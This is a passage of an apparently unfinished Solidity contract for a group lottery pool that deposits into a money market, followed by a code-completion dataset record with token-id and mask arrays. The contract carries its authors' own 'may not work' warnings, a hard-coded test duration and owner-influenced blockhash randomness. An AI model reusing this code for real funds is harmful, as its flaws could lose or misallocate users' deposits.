delete array[array.length-1];
array.length--;
}
// getter for groups
function getGroupId(address _addr) public view returns (int256) {
return activeEntries[_addr].groupId;
}
function getGroup(uint256 groupId) public view returns (
address[] memory members,
address[] memory allowedEntrants
) {
Group storage theGroup = groups[groupId];
return (theGroup.members, theGroup.allowedEntrants);
}
event NewGroupMade(int idNewGroup, address groupCreatorAddr);
/**
* @notice Creates a new group and places msg.sender within it
*/
// WARNING: this may not work. I may need to make a mapping for groups
// and store the keys for that mapping in an array
function createGroup() external hasEntry {
int newGroupId = int(groups.length);
groups.length += 1;
Group storage newGroup = groups[uint(newGroupId)];
newGroup.members.push(msg.sender);
Entry storage senderEntry = activeEntries[msg.sender];
senderEntry.groupId = newGroupId;
emit NewGroupMade(senderEntry.groupId, msg.sender);
}
/**
* @notice Puts a user in a group if they've been invited and removes them from
* the allowed invite list.
* @param _groupId The group to join
* @author jmartinmcfly
*/
function joinGroup(int256 _groupId) external hasEntry isSolo {
// require the the user is in allowed
Group storage theGroup = groups[uint(_groupId)];
bool isAllowed = false;
for (uint i = 0; i < theGroup.allowedEntrants.length; i++) {
if (theGroup.allowedEntrants[i] == msg.sender) {
isAllowed = true;
// WARNING: This may get funky because storage
_burn(i, theGroup.allowedEntrants);
}
}
require(isAllowed, "You do not have permission to join this group.");
theGroup.members.push(msg.sender);
// change the entry to match the new group status
Entry storage newGroupMember = activeEntries[msg.sender];
newGroupMember.groupId = _groupId;
}
/**
* @notice Makes msg.sender leave their given group and become a solo player
* @author jmartinmcfly
*/
function leaveGroup() external hasEntry hasGroup {
Entry storage senderEntry = activeEntries[msg.sender];
// WARNING: This may get funky because storage
Group storage group = groups[uint(getGroupId(msg.sender))];
uint index = group.members.length;
for (uint i = 0; i < group.members.length; i++) {
if (group.members[i] == msg.sender) {
index = i;
}
}
require(index < group.members.length, "Something went wrong with the leave op!");
// remove the msg.sender from the list of members
_burn(index, group.members);
// set the groupId of the user to -1 aka "does not exist"
senderEntry.groupId = -1;
}
event UserInvited(int256 theGroup, address invitee, address invitor);
/**
* @notice Gives the passed user permission to join the group of msg.sender
* @param _username the username of the user to invite
* @author jmartinmcfly
*/
function invite(string calldata _username) external hasEntry hasGroup {
// require that the user "_username" exists
require(users[_username] != address(0), "User doesn't exist");
address inviteeAddress = users[_username];
int256 groupId = activeEntries[msg.sender].groupId;
Group storage invitingGroup = groups[uint(groupId)];
invitingGroup.allowedEntrants.push(inviteeAddress);
emit UserInvited(groupId ,inviteeAddress, msg.sender);
}
function setUsername(string calldata _username) external {
if (_hasEntry(msg.sender)) {
users[_username] = msg.sender;
Entry storage entryToModify = activeEntries[msg.sender];
entryToModify.username = _username;
} else {
activeEntries[msg.sender] = Entry(
msg.sender,
_username,
0,
0,
0,
-1
);
users[_username] = msg.sender;
}
}
event BalanceEvent(uint256 depositedBalance);
/**
* @notice Buys a pool ticket. Only possible while the Pool is in the "open" state. The
* user can buy any number of tickets. Each ticket is a chance at winning.
* @param _countNonFixed The number of tickets the user wishes to buy.
*/
function buyTickets (int256 _countNonFixed) public {
require(_countNonFixed > 0, "number of tickets is less than or equal to zero");
int256 count = FixidityLib.newFixed(_countNonFixed);
int256 totalDeposit = FixidityLib.multiply(ticketPrice, count);
uint256 totalDepositNonFixed = uint256(FixidityLib.fromFixed(totalDeposit));
require(token.transferFrom(msg.sender, address(this), totalDepositNonFixed), "token transfer failed");
// send the newly sent tokens to the moneymarket
require(token.approve(address(moneyMarket), totalDepositNonFixed), "could not approve money market spend");
emit BalanceEvent(totalDepositNonFixed);
// TODO: DOES THIS WORK? Can you mint twice?
require(moneyMarket.mint(totalDepositNonFixed) == 0, "could not supply money market");
if (_hasEntry(msg.sender)) {
if (!_hasPendingEntry(msg.sender)) {
pendingAddresses.push(msg.sender);
pendingEntries[msg.sender] = PendingEntry(msg.sender, totalDeposit, _countNonFixed);
} else {
pendingEntries[msg.sender].amount = FixidityLib.add(pendingEntries[msg.sender].amount, totalDeposit);
pendingEntries[msg.sender].ticketCount = pendingEntries[msg.sender].ticketCount + _countNonFixed;
}
} else {
activeEntries[msg.sender] = Entry(
msg.sender,
"",
FixidityLib.newFixed(0),
0,
FixidityLib.newFixed(0),
-1
);
pendingEntries[msg.sender] = PendingEntry(msg.sender, totalDeposit, _countNonFixed);
entryCount = entryCount.add(1);
}
principleAmount = FixidityLib.add(principleAmount, totalDeposit);
// the total amount cannot exceed the max pool size
require(principleAmount <= maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv()), "pool size exceeds maximum");
emit BoughtTickets(msg.sender, _countNonFixed, totalDepositNonFixed);
}
/**
* @notice Selects a winning address (and therefore group) and
* updates winnings of winning group members.
* @param _secret the secret for this drawing
* @param _newSecretHash the hash of the secret for the next drawing
* Fires the PoolUnlocked event.
*/
function draw(bytes32 _secret, bytes32 _newSecretHash) public onlyOwner {
require(hasActivated, "the pool has not been activated yet");
require(keccak256(abi.encodePacked(_secret)) == secretHash, "secret does not match");
// we store the secret in the contract for ease of passing around and so
// users can (with some annoyance) recreate a drawing themselves
secret = _secret;
winningAddress = calculateWinner();
winningGroup = activeEntries[winningAddress].groupId;
require(_newSecretHash != 0, "secret hash must be defined");
// set new secret hash for next drawing
secretHash = _newSecretHash;
int256 totalWinningsFixed = updatePayouts(winningAddress);
// pay the owner their fee
uint256 fee = feeAmount();
if (fee > 0) {
require(token.transfer(owner(), fee), "could not transfer winnings");
}
// shift entries from pendingEntries to activeEntries
activateEntriesInternal();
emit DrawingComplete(winningGroup, FixidityLib.fromFixed(totalWinningsFixed));
}
/**
* @notice Shifts all inactive entries to active entries and updates sortition tree/
* This will normally only be called by draw. However, before the first ever drawing
* in the history of the contract, this will be called manually by the pool operator.
* @author jmartinmcfly
*/
// TODO: address potential gas limit issues here
function activateEntries() public onlyOwner {
require(!hasActivated, "You have already activated the pool");
hasActivated = true;
// update Entries
for (uint i = 0; i < pendingAddresses.length; i++) {
PendingEntry storage current = pendingEntries[pendingAddresses[i]];
Entry storage currentActive = activeEntries[current.addr];
currentActive.amount = FixidityLib.add(current.amount, currentActive.amount);
currentActive.ticketCount = currentActive.ticketCount + current.ticketCount;
//clear the pendingEntry
current.amount = FixidityLib.newFixed(0);
current.ticketCount = 0;
// update sortition tree entry
sortitionSumTrees.set(SUM_TREE_KEY, uint256(FixidityLib.fromFixed(currentActive.amount)), bytes32(uint256(current.addr)));
}
delete pendingAddresses;
}
/**
* @notice Shifts all inactive entries to active entries and updates sortition tree/
* This will normally only be called by draw. However, before the first ever drawing
* in the history of the contract, this will be called manually by the pool operator.
* @author jmartinmcfly
*/
// TODO: address potential gas limit issues here
function activateEntriesInternal() internal onlyOwner {
// update Entries
for (uint i = 0; i < pendingAddresses.length; i++) {
PendingEntry storage current = pendingEntries[pendingAddresses[i]];
Entry storage currentActive = activeEntries[current.addr];
currentActive.amount = FixidityLib.add(current.amount, currentActive.amount);
currentActive.ticketCount = currentActive.ticketCount + current.ticketCount;
//clear the pendingEntry
current.amount = FixidityLib.newFixed(0);
current.ticketCount = 0;
// update sortition tree entry
sortitionSumTrees.set(SUM_TREE_KEY, uint256(FixidityLib.fromFixed(currentActive.amount)), bytes32(uint256(current.addr)));
}
delete pendingAddresses;
}
event NetTotalWinnings(int theWinnings, address theWinner);
/**
* @notice Updates the payouts of all activeEntries in the winning group (entry.totalWinnings).
* Also updates unclaimedWinnings to reflect the new set of winners,
* Effectively resetting the prize pool.
* @param _winningAddress The address of the winning entry
* @author jmartinmcfly
*/
function updatePayouts(address _winningAddress) internal returns (int256) {
int totalWinningsFixed;
// determine group of address
Entry storage winner = activeEntries[_winningAddress];
// TODO: hacky, change group structure later
finalAmount = FixidityLib.newFixed(int(moneyMarket.balanceOfUnderlying(address(this))));
int256 totalMinusUnclaimedPrizes = FixidityLib.subtract(finalAmount, unclaimedWinnings);
if (winner.groupId == -1) {
// winner gets the whole shebang
totalWinningsFixed = netWinningsFixedPoint24();
emit NetTotalWinnings(FixidityLib.fromFixed(totalWinningsFixed), _winningAddress);
// reset prize pool
unclaimedWinnings = FixidityLib.add(unclaimedWinnings, totalWinningsFixed);
winner.totalWinnings = FixidityLib.add(winner.totalWinnings, totalWinningsFixed);
} else {
Group storage winningGroupFull = groups[uint(winner.groupId)];
// calc total tickets
int totalTickets = 0;
for (uint i = 0; i < winningGroupFull.members.length; i++) {
totalTickets = totalTickets + activeEntries[winningGroupFull.members[i]].ticketCount;
}
// get the total winnings from the drawing (minus the fee)
totalWinningsFixed = netWinningsFixedPoint24();
emit NetTotalWinnings(FixidityLib.fromFixed(totalWinningsFixed),_winningAddress);
// reset prize pool
unclaimedWinnings = FixidityLib.add(unclaimedWinnings, totalWinningsFixed);
// update payouts of all activeEntries in the group
for (uint i = 0; i < winningGroupFull.members.length; i++) {
Entry storage entryToChange = activeEntries[winningGroupFull.members[i]];
int proportion = FixidityLib.newFixedFraction(entryToChange.ticketCount, totalTickets);
int winningsCut = FixidityLib.multiply(proportion, totalWinningsFixed);
entryToChange.totalWinnings = FixidityLib.add(entryToChange.totalWinnings, winningsCut);
}
}
return totalWinningsFixed;
}
/**
* @notice donate to prize pool
* @param _amount amount to donate
*/
function donateToPrizePool(uint _amount) external {
require(_amount > 0, "amount of donation is less than or equal to zero");
uint256 _countNonFixed = _amount;
require(token.transferFrom(msg.sender, address(this), _countNonFixed), "token transfer failed");
// send the newly sent tokens to the moneymarket
emit BalanceEvent(_countNonFixed);
require(token.approve(address(moneyMarket), _countNonFixed), "could not approve money market spend");
emit BalanceEvent(_countNonFixed);
// TODO: DOES THIS WORK? Can you mint twice?
require(moneyMarket.mint(_countNonFixed) == 0, "could not supply money market");
}
/**
* @notice Transfers a users deposit, and potential winnings, back to them.
* The Pool must be unlocked.
* The user must have deposited funds. Fires the Withdrawn event.
*/
function withdraw(int _numTickets) public hasEntry {
require(_hasEntry(msg.sender), "entrant exists");
Entry storage entry = activeEntries[msg.sender];
PendingEntry storage pendingEntry = pendingEntries[msg.sender];
require(_numTickets <= (entry.ticketCount + pendingEntry.ticketCount), "You don't have that many tickets to withdraw!");
int256 prizeToWithdraw = FixidityLib.newFixed(0);
// if user has winnings add winnings to the withdrawal and clear their
// winnings + decrease unclaimed winnings
if (FixidityLib.fromFixed(entry.totalWinnings) != 0) {
prizeToWithdraw = FixidityLib.add(prizeToWithdraw, entry.totalWinnings);
// we have now withdrawn all winnings
entry.totalWinnings = FixidityLib.newFixed(0);
unclaimedWinnings = FixidityLib.subtract(unclaimedWinnings, prizeToWithdraw);
}
// then withdraw tickets
int256 numTicketsFixed = FixidityLib.newFixed(_numTickets);
int256 principleToWithdraw = FixidityLib.multiply(numTicketsFixed, ticketPrice);
if (pendingEntry.ticketCount > 0) {
if (_numTickets <= pendingEntry.ticketCount) {
pendingEntry.amount = FixidityLib.subtract(pendingEntry.amount, principleToWithdraw);
pendingEntry.ticketCount = pendingEntry.ticketCount - _numTickets;
} else {
int256 amountLeft = FixidityLib.subtract(principleToWithdraw, pendingEntry.amount);
int256 ticketsLeft = _numTickets - pendingEntry.ticketCount;
pendingEntry.amount = FixidityLib.newFixed(0);
pendingEntry.ticketCount = 0;
// update entry
entry.amount = FixidityLib.subtract(entry.amount, amountLeft);
entry.ticketCount = entry.ticketCount - ticketsLeft;
// update sum tree to reflect withdrawn principle
sortitionSumTrees.set(SUM_TREE_KEY, uint256(entry.amount), bytes32(uint256(msg.sender)));
}
} else {
entry.amount = FixidityLib.subtract(entry.amount, principleToWithdraw);
entry.ticketCount = entry.ticketCount - _numTickets;
// update sum tree to reflect withdrawn principle
sortitionSumTrees.set(SUM_TREE_KEY, uint256(entry.amount), bytes32(uint256(msg.sender)));
}
// calculate total withdrawal amount
int256 totalToWithdraw = FixidityLib.add(prizeToWithdraw, principleToWithdraw);
int256 totalToWithdrawNonFixed = FixidityLib.fromFixed(totalToWithdraw);
int256 remainingTickets = entry.ticketCount;
emit Withdrawn(msg.sender, totalToWithdrawNonFixed, remainingTickets);
// withdraw given amount from compound contract
require(moneyMarket.redeemUnderlying(uint256(totalToWithdrawNonFixed)) == 0, "could not redeem from compound");
require(token.transfer(msg.sender, uint256(totalToWithdrawNonFixed)), "could not transfer winnings");
}
function calculateWinner() private view returns (address) {
if (principleAmount > 0) {
return address(uint256(sortitionSumTrees.draw(SUM_TREE_KEY, randomToken())));
} else {
return address(0);
}
}
/**
* @notice Selects and returns the winner's address
* @return The winner's address
*/
function winnerAddress() public view returns (address) {
return winningAddress;
}
/**
* @notice Computes the total winnings for the drawing (interest - fee)
* @return the total winnings as a fixed point 24
*/
function netWinningsFixedPoint24() internal view returns (int256) {
return FixidityLib.subtract(grossWinningsFixedPoint24(), feeAmountFixedPoint24());
}
/**
* @notice Computes the total interest earned on the pool as a fixed point 24.
* This is what the winner will earn once the pool is unlocked.
* @return The total interest earned on the pool as a fixed point 24.
*/
function grossWinningsFixedPoint24() internal view returns (int256) {
int256 totalMinusUnclaimedPrizes = FixidityLib.subtract(finalAmount, unclaimedWinnings);
return FixidityLib.subtract(totalMinusUnclaimedPrizes, principleAmount);
}
/**
* @notice Calculates the size of the fee based on the gross winnings
* @return The fee for the pool to be transferred to the owner
*/
function feeAmount() public view returns (uint256) {
return uint256(FixidityLib.fromFixed(feeAmountFixedPoint24()));
}
/**
* @notice Calculates the fee for the pool by multiplying the gross winnings by the fee fraction.
* @return The fee for the pool as a fixed point 24
*/
function feeAmountFixedPoint24() internal view returns (int256) {
return FixidityLib.multiply(grossWinningsFixedPoint24(), feeFraction);
}
/**
* @notice Selects a random number in the range from [0, total tokens deposited)
* @return If the current block is before the end it returns 0, otherwise it returns the random number.
*/
function randomToken() public view returns (uint256) {
return _selectRandom(uint256(FixidityLib.fromFixed(principleAmount)));
}
/**
* @notice Selects a random number in the range [0, total)
* @param total The upper bound for the random number
* @return The random number
*/
function _selectRandom(uint256 total) internal view returns (uint256) {
return UniformRandomNumber.uniform(_entropy(), total);
}
/**
* @notice Computes the entropy used to generate the random number.
* The blockhash of the lock end block is XOR'd with the secret revealed by the owner.
* @return The computed entropy value
*/
function _entropy() internal view returns (uint256) {
return uint256(blockhash(block.number - 1) ^ secret);
}
/**
* @notice Retrieves information about the pool.
* @return A tuple containing:
* entryTotal (the total of all deposits)
* startBlock (the block after which the pool can be locked)
* endBlock (the block after which the pool can be unlocked)
* poolState (either OPEN, LOCKED, COMPLETE)
* winner (the address of the winner)
* supplyBalanceTotal (the total deposits plus any interest from Compound)
* ticketCost (the cost of each ticket in DAI)
* participantCount (the number of unique purchasers of tickets)
* maxPoolSize (the maximum theoretical size of the pool to prevent overflow)
* estimatedInterestFixedPoint18 (the estimated total interest percent for this pool)
* hashOfSecret (the hash of the secret the owner submitted upon locking)
*/
function getInfo() public view returns (
int256 entryTotal,
address winner,
int256 supplyBalanceTotal,
int256 ticketCost,
uint256 participantCount,
int256 maxPoolSize,
int256 estimatedInterestFixedPoint18,
bytes32 hashOfSecret
) {
return (
FixidityLib.fromFixed(principleAmount),
winningAddress,
FixidityLib.fromFixed(finalAmount),
FixidityLib.fromFixed(ticketPrice),
entryCount,
FixidityLib.fromFixed(maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv())),
FixidityLib.fromFixed(currentInterestFractionFixedPoint24(), uint8(18)),
secretHash
);
}
event Tester(string toTest);
// TODO: test
function userInfo(address _addr) external returns (
address addrReturned,
string memory usernameReturned,
int256 totalAmountReturned,
int256 totalTicketsReturned,
int256 activeAmountReturned,
int256 activeTicketsReturned,
int256 pendingAmountReturned,
int256 pendingTicketsReturned,
int256 totalWinningsReturned,
int256 groupIdReturned
) {
Entry storage entry = activeEntries[_addr];
PendingEntry storage pendingEntry = pendingEntries[_addr];
int256 totalAmount = FixidityLib.fromFixed(FixidityLib.add(pendingEntry.amount, entry.amount));
emit Tester(entry.username);
return (
entry.addr,
entry.username,
totalAmount,
entry.ticketCount + pendingEntry.ticketCount,
FixidityLib.fromFixed(entry.amount),
entry.ticketCount,
FixidityLib.fromFixed(pendingEntry.amount),
pendingEntry.ticketCount,
FixidityLib.fromFixed(entry.totalWinnings),
entry.groupId
);
}
/**
* @notice Retrieves information about a user's entry in the Pool.
* @return Returns a tuple containing:
* addr (the address of the user)
* username
* amount (the amount they deposited)
* ticketCount (the number of tickets they have bought)
* totalWinnings (total unwithdrawn winnings of the user. Doesn't count principle)
* groupId (the id of the user's group)
*/
function getEntry(address _addr) public view returns (
address addr,
string memory username,
int256 amount,
int256 ticketCount,
int256 totalWinnings,
int256 groupId
) {
Entry storage entry = activeEntries[_addr];
//emit TotalWinnings(entry.totalWinnings);
//emit TotalWinnings(FixidityLib.fromFixed(entry.totalWinnings));
return (
entry.addr,
entry.username,
FixidityLib.fromFixed(entry.amount),
entry.ticketCount,
FixidityLib.fromFixed(entry.totalWinnings),
entry.groupId
);
}
/**
* @notice Retrieves information about a user's entry in the Pool.
* @return Returns a tuple containing:
* addr (the address of the user)
* username
* amount (the amount they deposited)
* ticketCount (the number of tickets they have bought)
* totalWinnings (total unwithdrawn winnings of the user. Doesn't count principle)
* groupId (the id of the user's group)
*/
function getEntryByUsername(string calldata theUsername) external view returns (
address addr,
string memory username,
int256 amount,
int256 ticketCount,
int256 totalWinnings,
int256 groupId
) {
Entry storage entry = activeEntries[users[theUsername]];
return (
entry.addr,
entry.username,
FixidityLib.fromFixed(entry.amount),
entry.ticketCount,
FixidityLib.fromFixed(entry.totalWinnings),
entry.groupId
);
}
/**
* @notice Retrieves information about a user's pending entry in the Pool.
* @return Returns a tuple containing:
* addr (the address of the user)
* amount (the amount they deposited)
* ticketCount (the number of tickets they have bought)
*/
function getPendingEntry(address _addr) public view returns (
address addr,
int256 amount,
int256 ticketCount
) {
PendingEntry storage pending = pendingEntries[_addr];
return (
pending.addr,
FixidityLib.fromFixed(pending.amount),
pending.ticketCount
);
}
/**
* @notice Calculates the maximum pool size so that it doesn't overflow after earning interest
* @dev poolSize = totalDeposits + totalDeposits * interest => totalDeposits = poolSize / (1 + interest)
* @return The maximum size of the pool to be deposited into the money market
*/
function maxPoolSizeFixedPoint24(int256 _maxValueFixedPoint24) public view returns (int256) {
/// Double the interest rate in case it increases over the lock period. Somewhat arbitrarily.
int256 interestFraction = FixidityLib.multiply(currentInterestFractionFixedPoint24(), FixidityLib.newFixed(2));
return FixidityLib.divide(_maxValueFixedPoint24, FixidityLib.add(interestFraction, FixidityLib.newFixed(1)));
}
/**
* @notice Estimates the current effective interest rate using the money market's current supplyRateMantissa and the lock duration in blocks.
* @return The current estimated effective interest rate
*/
// TODO: Add intelligent / enforced blockDuration
function currentInterestFractionFixedPoint24() public view returns (int256) {
// Chose a duration of one week
// arbitrary and not enforced by the contract at all
int256 blocksPerDay = 5760;
int256 daysPerDrawing = 7;
int256 blockDuration = blocksPerDay * daysPerDrawing;
// TODO: CHANGE THIS
blockDuration = 10;
int256 supplyRateMantissaFixedPoint24 = FixidityLib.newFixed(int256(supplyRateMantissa()), uint8(18));
return FixidityLib.multiply(supplyRateMantissaFixedPoint24, FixidityLib.newFixed(blockDuration));
}
/**
* @notice Extracts the supplyRateMantissa value from the money market contract
* @return The money market supply rate per block
*/
function supplyRateMantissa() public view returns (uint256) {
return moneyMarket.supplyRatePerBlock();
}
/**
* @notice Determines whether a given address has bought tickets
* @param _addr The given address
* @return Returns true if the given address bought tickets, false otherwise.
*/
function _hasEntry(address _addr) internal view returns (bool) {
return activeEntries[_addr].addr == _addr;
}
/**
* @notice Determines whether a given address has bought tickets
* @param _addr The given address
* @return Returns true if the given address bought tickets, false otherwise.
*/
function _hasPendingEntry(address _addr) internal returns (bool) {
return pendingEntries[_addr].addr == _addr;
}
}
|
* @notice Determines whether a given address has bought tickets @param _addr The given address @return Returns true if the given address bought tickets, false otherwise./
|
function _hasPendingEntry(address _addr) internal returns (bool) {
return pendingEntries[_addr].addr == _addr;
}
| 15,884,431 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
30778,
2856,
279,
864,
1758,
711,
800,
9540,
24475,
632,
891,
389,
4793,
1021,
864,
1758,
632,
2463,
2860,
638,
309,
326,
864,
1758,
800,
9540,
24475,
16,
629,
3541,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
5332,
8579,
1622,
12,
2867,
389,
4793,
13,
2713,
1135,
261,
6430,
13,
288,
203,
565,
327,
4634,
5400,
63,
67,
4793,
8009,
4793,
422,
389,
4793,
31,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
